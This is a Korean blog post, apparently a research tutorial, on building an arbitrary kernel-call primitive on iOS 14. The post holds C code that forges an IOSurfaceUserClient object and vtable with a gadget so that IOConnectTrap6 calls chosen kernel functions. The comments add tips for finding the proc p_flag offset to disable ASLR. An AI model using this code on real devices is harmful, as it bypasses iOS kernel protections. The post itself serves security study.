디버깅 사용환경:

    iPhone 8 / 14.4.2

    Reference:

    이해하는데 사용될 Project:

    https://gitlab.com/alias20/kcalltest14
    https://github.com/jsherman212/ktrw

    Userspace에서 IOConnectTrap6 함수를 호출하여 Kernel Call하기까지 호출 경로 (Backtrace)

    fleh_synchronous
    https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/locore.s#L614
    -> sleh_synchronous
    https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/sleh.c#L657
    -> handle_svc
    https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/sleh.c#L1642
    -> mach_syscall
    https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/bsd_arm64.c#L258
    -> iokit_user_client_trap
    https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/iokit/Kernel/IOUserClient.cpp#L6198

    kern_return_t
    iokit_user_client_trap(struct iokit_user_client_trap_args *args)
    함수에 있는

    result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
    위 코드에서 최대 6개의 인자와 함께 커널 함수를 호출해낼 수 있다.

    kern_return_t
    iokit_user_client_trap(struct iokit_user_client_trap_args *args)
    {
        kern_return_t  result = kIOReturnBadArgument;
        IOUserClient * userClient;
        OSObject     * object;
        uintptr_t      ref;
    
    ...
            if (kIOReturnSuccess == result) {
                trap = userClient->getTargetAndTrapForIndex(&target, args->index);
            }
            if (trap && target) {
                IOTrap func;
    
                func = trap->func;
    
                if (func) {
                    result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
                }
            }
    
            iokit_remove_connect_reference(userClient);
        }
    
        return result;
    }

    방법

    이미 커널 읽기/쓰기 권한을 가졌다는 환경에서 진행해볼 것이다.

    1.
    AppleKeyStore나 IOSurfaceRoot 같은 등록된 기본 IOService 객체를 IOServiceGetMatchingServices 함수를 통해 찾는다.
    그런다음, IOServiceOpen 함수를 통해 그 객체에 연결해서, 연결한 핸들을 의미하는 mach 포트인 user_client 를 가져온다.

    uint64_t init_kcall_allocated(uint64_t _fake_vtable, uint64_t _fake_client, mach_port_t * _user_client) {
        uint64_t add_x0_x0_0x40_ret_func = off_add_x0_x0_0x40_ret_func + get_kslide();
    
        io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
        if (service == IO_OBJECT_NULL) {
            printf(" [-] unable to find service\n");
            exit(EXIT_FAILURE);
        }
        mach_port_t user_client;
        kern_return_t err = IOServiceOpen(service, mach_task_self(), 0, & user_client);
        if (err != KERN_SUCCESS) {
            printf(" [-] unable to get user client connection\n");
            exit(EXIT_FAILURE);
        }
        ...
    }

    2.
    아래와 같은 방법으로 IPC 공간내에서 엔트리를 찾는다.
    find_port 함수는 ipc_entry_lookup 함수와 같다.

    https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/ipc/ipc_entry.c#L94

    uint64_t uc_port = find_port(user_client);
    ...
    
    uint64_t find_port(mach_port_name_t port){
    	uint64_t self_proc = proc_of_pid(getpid());
        uint64_t task_addr = kread64(self_proc + off_p_task);
        uint64_t itk_space = kread64(task_addr + off_task_itk_space);
        uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);
        uint32_t port_index = port >> 8; //MACH_PORT_INDEX
        const int sizeof_ipc_entry_t = 0x18;
        uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));
        return port_addr;
    }
    
    uint64_t proc_of_pid(pid_t pid) {
    	uint64_t proc = 0;
    	kernRW_getKernelProc(&proc);
        
        while (true) {
            if(kread32(proc + off_p_pid) == pid) {
                return proc;
            }
            proc = kread64(proc + off_p_list_le_prev);
            if(!proc) {
                return -1;
            }
        }
        
        return 0;
    }

    3.
    IOSurfaceUserClient 클래스를 참고해 fake 객체와 fake vtable를 만드는데,
    IOSurface vtable 중 add x0, x0, #0x40 가젯을 이용해 getTargetAndTrapForIndex 함수에서 호출되도록 만든다.

    https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/iokit/IOKit/IOUserClient.h#L194

    ...
    uint64_t uc_addr = kread64(uc_port + 0x68); //#define IPC_PORT_IP_KOBJECT_OFF (0x68)	//
    uint64_t uc_vtab = kread64(uc_addr); //0xFFFFFFF0078666C0
    uint64_t fake_vtable = _fake_vtable;
    for (int i = 0; i < 0x200; i++) {
        kwrite64(fake_vtable + i * 8, kread64(uc_vtab + i * 8));
    }
    uint64_t fake_client = _fake_client;
    for (int i = 0; i < 0x200; i++) {
        kwrite64(fake_client + i * 8, kread64(uc_addr + i * 8));
    }
    kwrite64(fake_client, fake_vtable);
    kwrite64(uc_port + 0x68, fake_client); //#define IPC_PORT_IP_KOBJECT_OFF (0x68)
    kwrite64(fake_vtable + 8 * 0xB8, add_x0_x0_0x40_ret_func);
    
    *_user_client = user_client;

    4.
    IOConnectTrap6 함수를 이용하여 커널 함수를 호출해본다.
    테스트할 함수는 300을 리턴하는 커널 주소를 대상으로 진행하였다.

    int test_kcall(mach_port_t user_client, uint64_t fake_client) {
    	uint64_t ret_300 = kcall(user_client, fake_client, off_ret_300 + get_kslide(), 0x4141414141414141, 0x4242424242424242, 0x4343434343434343, 0x4444444444444444, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747);
    	printf("ret_300: %llu\n", ret_300);
    	...
    }
    
    uint64_t kcall(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
        uint64_t offx20 = kread64(fake_client+0x40);
        uint64_t offx28 = kread64(fake_client+0x48);
        kwrite64(fake_client+0x40, x0);
        kwrite64(fake_client+0x48, addr);
        uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
        kwrite64(fake_client+0x40, offx20);
        kwrite64(fake_client+0x48, offx28);
        return returnval;
    }

    실제로 확인해보면, 커널 함수가 성공적으로 호출되어 300을 반환하는 것을 알 수 있다.

    문제점?

    해당 방법으로 최대 7개의 인자만큼 커널 함수를 호출할 수는 있지만,
    iokit_user_client_trap 함수의 리턴값이 kern_return_t = int형이므로
    리턴값이 8바이트 형식 uint64_t일 경우, 4바이트 크기로 잘려서 반환된다.

    따라서, 다음 글에서 JOP을 이용해서 이러한 문제점을 해결하는 글을 작성해볼 예정이다.

    6 Comments

    1. 안녕하세요.
      kfund 프로젝트를 공부중인데 분석을 잘 해두셔서 댓글 남겨봅니다.

      proc 구조체의 p_flag라는 값이 ASLR을 disable할 수있다고 해서
      이 값에 접근해보려고 합니다만, 정확한 주소값 계산을 못해 변경하기 쉽지 않네요.

      혹시 p_flag에 대해 아시는 부분 있나요 ?
      https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L4220

      1. 안녕하세요~ 답변이 조금 늦어서 죄송하지만, 글에 관심 가져주셔서 감사합니다.

        구조체 오프셋을 구하는 방법은 여러가지가 있는데, 하나 말씀드리자면
        macOS KDK를 다운받아 살펴보면 development 커널이 있습니다.
        거기서 커널함수 심볼을 찾아 그 함수의 opcode를 아이폰 커널에서 검색해서 심볼을 찾는 방법이 있습니다.

        proc_pidshortbsdinfo 함수를 보자면:
        https://github.com/apple-oss-distributions/xnu/blob/xnu-8019.41.5/bsd/kern/proc_info.c#L786
        해당 함수는 C0 04 00 54 3F 09 00 71 E1 04 00 54 09 00 82 52
        opcode가 포함되어 있기 때문에 검색해보면 하나 나올겁니다

        저 함수에서 p_flag 오프셋을 찾으시면 되는데,
        구조체 필드 접근은 LDR 어셈블리를 사용하기 때문에 유심히 살펴보시면 될 것 같습니다.
        https://github.com/apple-oss-distributions/xnu/blob/xnu-8019.41.5/bsd/kern/proc_info.c#L818

        6s 15.7.6 기준: 0x264,
        14pro 16.1.2 기준: 0x25c 오프셋으로 나오네요

        1. 먼저 친절한 답변 감사합니다.
          답 확인부터 직접 해보기까지의 시간이 걸려 늦게라도 감사의 인사를 드립니다.

          직접해보면서 느낀 궁금한점이 몇가지 있습니다.
          1. 아이폰 커널 디버깅 방법
          제가 아는 커널 디버깅 방법으로는 ktrw뿐인데 다른 방법에 대한 키워드를 받을 수 있을까요 ?
          (현재 제가 공부하고 있는 버전은 ios16.6.1입니다. )

          2. launchd 프로세스 p_flag 변경을 이용한 alsr disable
          올려주신 Kfund 프로젝트에서 launchd 프로세스의 pid를 가져와서 kwrite후에
          ssh로 연결해서 ptr address를 출력하고 있습니다. 이 방식도 가능할까요 ?

          1. 1. Corellium을 통해 커널 디버깅하는 방법이 있긴 합니다 (다만, 가격이…) 아니면 qemu-t8030 프로젝트를 사용하는 방법이 있을 것 같긴한데, 이에 대해선 안살펴봐서 잘 모르겠네요.
            2. 질문을 제대로 잘 이해 못했는데, 가능하긴 할거에요..

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다